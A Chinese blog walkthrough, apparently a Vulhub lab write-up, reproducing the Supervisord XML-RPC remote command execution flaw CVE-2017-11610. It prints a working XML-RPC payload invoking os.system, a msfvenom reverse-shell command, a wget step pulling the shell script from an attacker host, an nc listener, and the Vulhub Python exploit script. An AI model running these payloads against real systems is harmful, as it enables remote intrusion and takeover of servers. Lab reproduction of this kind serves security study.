Vulhub Supervisord 远程命令执行漏洞复现

漏洞介绍

漏洞简介

Supervisord是一款Python开发的一套进程控制系统,用于监视和控制类Unix系统上的进程。XML-RPC server是其中的一个XML-RPC服务器。 Supervisor中的XML-RPC服务器存在安全漏洞。远程攻击者可借助特制的XML-RPC请求利用该漏洞执行任意命令。

漏洞编号

CVE-2017-11610

影响版本

3.0.1之前的版本

3.1.4之前的3.1.x版本

3.2.4之前的3.2.x版本

3.3.3之前的3.3.x版本

环境搭建

cd /vulhub/supervisor/CVE-2017-11610

docker-compose up -d

访问 靶场IP:9001 验证靶场开启

漏洞复现

方法一

Payload如下:

POST /RPC2 HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 213

<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
<params>
<param>
<string>要执行的命令</string>
</param>
</params>
</methodCall>

使用DNSlog.cn验证命令执行是否存在

通过POC执行ping命令ping DNSlog.cn

刷新后查看是否ping通来判断漏洞存在

在攻击机通过msf生成一个shell的py脚本

msfvenom -p cmd/unix/reverse_python LHOST=攻击者IP LPORT=监听端口 -f raw > shell.py

 在通过python模拟一个HTTP服务器

python -m SimpleHTTPServer

 

 wget 攻击IP:端口/shell脚本 -O 上传地址

查看返回结果

通过BP抓包执行shell脚本

通过nc监听端口实现getshell

方法二

通过Vulhub官网给出的POC测试:

#!/usr/bin/env python3
import xmlrpc.client
import sys

target = sys.argv[1]
command = sys.argv[2]
with xmlrpc.client.ServerProxy(target) as proxy:
    old = getattr(proxy, 'supervisor.readLog')(0,0)

    logfile = getattr(proxy, 'supervisor.supervisord.options.logfile.strip')()
    getattr(proxy, 'supervisor.supervisord.options.warnings.linecache.os.system')('{} | tee -a {}'.format(command, logfile))
    result = getattr(proxy, 'supervisor.readLog')(0,0)

    print(result[len(old):])

执行python脚本

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值